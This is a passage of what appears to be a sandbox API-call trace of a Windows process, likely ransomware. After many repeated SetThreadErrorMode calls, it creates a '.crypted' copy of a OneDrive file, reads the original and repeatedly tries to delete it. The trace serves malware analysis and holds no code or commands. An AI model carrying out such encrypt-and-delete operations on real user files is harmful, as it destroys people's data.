(dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.847] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.847] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.848] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.848] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.849] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.849] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.850] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.851] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.851] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.852] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.852] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.853] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.853] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.854] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.855] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.855] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.856] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.857] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0187.860] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0187.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0187.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.032] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.033] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.033] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.034] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.034] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.035] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.035] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.036] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.036] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.037] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.037] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.038] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.038] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.039] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.039] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.040] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.040] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.041] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.041] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.042] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.042] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.043] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.043] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.044] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.044] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.045] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.045] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.046] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.046] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.047] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.047] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.048] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.048] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.049] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.051] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0188.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbf0) returned 1 [0188.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edbb0) returned 1 [0188.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edca0) returned 1 [0196.704] GetFileSize (in: hFile=0x4c4, lpFileSizeHigh=0x1ee0a8 | out: lpFileSizeHigh=0x1ee0a8*=0x0) returned 0xbfe9 [0196.854] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt.crypted", nBufferLength=0x105, lpBuffer=0x1ed990, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt.crypted", lpFilePart=0x0) returned 0x5f [0196.854] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede70) returned 1 [0196.854] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt.crypted" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt.crypted"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4c4 [0196.856] GetFileType (hFile=0x4c4) returned 0x1 [0196.856] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edde0) returned 1 [0196.856] GetFileType (hFile=0x4c4) returned 0x1 [0196.865] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x1edf70 | out: pfEnabled=0x1edf70) returned 0x0 [0196.905] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1ed930, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.905] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede10) returned 1 [0196.905] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4e8 [0196.905] GetFileType (hFile=0x4e8) returned 0x1 [0196.906] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edd80) returned 1 [0196.906] GetFileType (hFile=0x4e8) returned 0x1 [0196.907] ReadFile (in: hFile=0x4e8, lpBuffer=0x299ffb0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1edf78, lpOverlapped=0x0 | out: lpBuffer=0x299ffb0*, lpNumberOfBytesRead=0x1edf78*=0x1000, lpOverlapped=0x0) returned 1 [0196.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ede70) returned 1 [0196.926] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x4c4 [0196.926] GetFileType (hFile=0x4c4) returned 0x1 [0196.926] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edde0) returned 1 [0196.926] GetFileType (hFile=0x4c4) returned 0x1 [0196.926] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.926] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.927] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.927] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.927] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.927] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.934] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.934] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.934] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.934] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.934] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.934] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.935] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.936] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.936] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.936] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.936] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.936] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.937] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.937] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.937] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.937] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.938] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.939] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt"), fInfoLevelId=0x0, lpFileInformation=0x1edfc0 | out: lpFileInformation=0x1edfc0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2e916ca0, ftCreationTime.dwHighDateTime=0x1d337ae, ftLastAccessTime.dwLowDateTime=0x2e916ca0, ftLastAccessTime.dwHighDateTime=0x1d337ae, ftLastWriteTime.dwLowDateTime=0x2e93ce00, ftLastWriteTime.dwHighDateTime=0x1d337ae, nFileSizeHigh=0x0, nFileSizeLow=0xbfe9)) returned 1 [0196.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1edea0) returned 1 [0196.939] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.939] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\onedrive\\17.3.6998.0830\\thirdpartynotices.txt")) returned 0 [0196.941] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", nBufferLength=0x105, lpBuffer=0x1edaa0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt", lpFilePart=0x0) returned 0x57 [0196.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1edee0) returned 1 [0196.941] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\OneDrive\\17.3.6998.0830\\ThirdPartyNotices.txt" (normalized: 